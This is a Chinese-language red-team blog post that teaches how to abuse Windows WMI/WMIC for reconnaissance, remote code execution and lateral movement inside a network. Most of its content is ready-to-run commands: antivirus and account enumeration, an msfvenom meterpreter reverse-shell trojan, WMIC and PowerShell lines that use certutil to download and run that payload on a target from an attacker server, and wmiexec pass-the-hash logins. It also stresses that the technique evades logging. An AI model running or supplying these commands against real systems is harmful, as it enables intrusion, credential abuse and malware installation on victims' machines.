前往小程序,Get更优阅读体验!
立即前往
首页
学习
活动
专区
工具
TVP
发布
社区首页 >专栏 >黑客(红队)攻防中内网环境下WMI的利用

黑客(红队)攻防中内网环境下WMI的利用

原创
作者头像
flower安全
发布2024-03-23 23:50:42
1560
发布2024-03-23 23:50:42
举报
文章被收录于专栏:红队攻防
WMI简介
WMI简介

WMI,全称Windows Management Instrumentation,是微软开发的一种用于管理Windows系统的工具。你可以把它想象成一个数据库工具,它存储了关于你的电脑的各种信息,比如系统、应用程序、网络和设备等。

WMI使用了一种特殊的方式来表示这些信息,叫做通用信息模(CIM)。通过这个模型,我们可以方便地从远程计算机获取管理数据,也就是说,你可以在自己的电脑上查看和管理其他电脑的信息。

此外,WMI还允许我们通过编程和脚本语言(比如VBScript和JScript)来编写管理任务的脚本和应用程序。这就意味着,通过简单的命令或脚本,我们就可以执行各种复杂的管理任务,比如查询系统信息、更改系统设置、管理服务和设备等。

利用WMIC进行信息收集

WMIC是Windows Management Instrumentation Commandline的简称,是WMI的命令行版本,WMIC允许用户通过简单的命令行指令来执行系统管理任务,如查询系统信息、更改系统设置、管理服务和设备等。

所以攻击者就可以利用WMIC进行内网的信息收集工作,例如:

代码语言:powershell
复制
wmic product get IdentifyingNumber, Name, Version, Vendor

可以获取到已安装的程序信息

获取硬盘的型号、容量和分区等信息:

代码语言:powershell
复制
wmic diskdrive get Model, Size, Partitions

回显杀毒软件名称:

代码语言:powershell
复制
WMIC /Node:localhost /Namespace:\\root\SecurityCenter2 Path AntiVirusProduct Get displayName /Format:List

我电脑有自己装的火绒和Windows Defender所以回显了这两个杀毒 软件名字。 回显杀毒软件安装路径:

代码语言:powershell
复制
WMIC /namespace:\\root\securitycenter2 path antivirusproduct get displayname,productstate,pathtosignedproductexe

获取操作系统信息:

代码语言:powershell
复制
wmic os get Caption, Version, OSArchitecture

还有其它的一些常用命令:

代码语言:powershell
复制
wmic computersystem get caption, domain //获取主机名和域名
wmic cpu get name, numberofcores, maxclockspeed, l2cachesize //获取CPU详细信息
wmic useraccount get name, type, disabled//获取当前用户和组
wmic localgroup get name, groupcategory, members//获取当前用户和组
mic service get state, name, startmode, pathname, processid //获取所有服务的状态
wmic nicconfig get macaddress, ipaddress //获取网络适配器的MAC地址和IP地址

WMIC远程获取shell

而前面也说了WMIC还有远程管理文件和操作计算机的功能,所以我们可以利用这一点去远程操纵计算机获取shell。   首先我们用Kali生成一个test的木马

代码语言:powershell
复制
msfvenom -p windows/meterpreter/reverse_tcp LHOST=192.168.1.1 LPORT=1909 -f exe >test.exe

然后python起一个监听8080端口,这样我们后续远程用8080端口去下载test.exe木马就能明显的看到效果。

然后用跳板机运行Wimc命令远程连接已知密码的目标机器

代码语言:powershell
复制
wmic /node:192.168.1.1 /user:Administrator /password:Password@test process call create "cmd.exe"

<remote_computer_name>是要连接的远程计算机的名称或IP地址,<username>是要使用的用户名,<password>是对应的密码.

这段命令的作用就是远程连接到<remote_computer_name>计算机的<username>用户并且创建一个进程运行cmd.exe程序.

而下一步就是将shell下载到目标计算机,这一步中我们需要在新的进程中下载certutil.exe用于我们test.exe木马的安装,把这一步命令和前面连接计算机的命令结合就是:

代码语言:powershell
复制
wmic /node:192.168.1.1 /user:Administrator /password:Password@test process call create "cmd.exe" /c certutil.exe -urlcache -f -split http://192.168.1.2:8080/test.exe&&test.exe

把这一步写成powershell代码就是:

代码语言:powershell
复制
$ip = "192.168.1.1"$username = "Administrator"$password = "Password@test"$url = "http://192.168.1.2:8080/test.exe"
$securePassword = ConvertTo-SecureString $password -AsPlainText -Force$credential = New-Object System.Management.Automation.PSCredential ($username, $securePassword)
Invoke-Command -ComputerName $ip -Credential $credential -ScriptBlock {    cmd.exe /c "certutil.exe -urlcache -f -split $url"}

Kali端成功回显并且在目标机中也发现test.exe文件.

值得注意的是这段命令中的test.exe&&test.exe中的&&叫做谓词开关,我们可以在这里添加运行其它命令,例如写成:

代码语言:powershell
复制
/test.exe /nobreak && test.exe
  • /nobreak 是表示新进程完成后不要中断。
  • && start test.exe 则表示在新进程执行完毕后启动test.exe程序。

利用WMI进行域横向

  看完前面的操作相信师傅们也大致对WMI进行横向渗透也有了一定的思路。   Kali中提供了一个非常方便就能利用WMI进行横向渗透的工具,就是 wmiexec

用法也是非常简单,常用的两种为利用Hash或是和前面远程获取shell一样利用密码获取shell.

利用hash获取shell:

代码语言:powershell
复制
python3 wmiexec.py -hashes xxxxxxxxxx:xxxxxxxx Admin@192.168.1.1 "ipconfig"

利用密码getshell:

代码语言:powershell
复制
python3wmiexec.pyAdmin:123456@192.168.1.1

其余的横向命令,理解WMIC命令后也是很简单,例如:

代码语言:powershell
复制
wmic /node:目标IP地址 /user:用户名 密码 /output:输出文件路径 systeminfo > 输出文件路径   //获取远程计算机的系统信息
wmic /node:目标IP地址 /user:用户名 密码 process get ProcessId,ProcessName,CommandLine > 输出文件路径   //获取远程计算机的进程信息
wmic /node:目标IP地址 /user:用户名 密码 service where "Name='服务名称'" call start > nul || wmic /node:目标IP地址 /user:用户名 密码 service where "Name='服务名称'" call stop > nul   //启动或停止远程计算机上的服务

总结

实际上wmicexec进行横向渗透时,Windows操作系统默认不会将WMI的操作记录在日志中同时无需将wmicexec.py移动到目标机上,所以隐蔽性较高,因为WMI是Windows的管理工具,所以大多数基于Windows的软件都依赖于此服务,所以利用成功率是较高的,而缺点就是有时占用较大容易把系统搞崩再不济就是同样搞蓝屏。

原创声明:本文系作者授权腾讯云开发者社区发表,未经许可,不得转载。

如有侵权,请联系 cloudcommunity@tencent.com 删除。

原创声明:本文系作者授权腾讯云开发者社区发表,未经许可,不得转载。

如有侵权,请联系 cloudcommunity@tencent.com 删除。

评论
登录后参与评论
0 条评论
热度
最新
推荐阅读
目录
  • 利用WMIC进行信息收集
  • WMIC远程获取shell
  • 利用WMI进行域横向
  • 总结
领券
问题归档专栏文章快讯文章归档关键词归档开发者手册归档开发者手册 Section 归档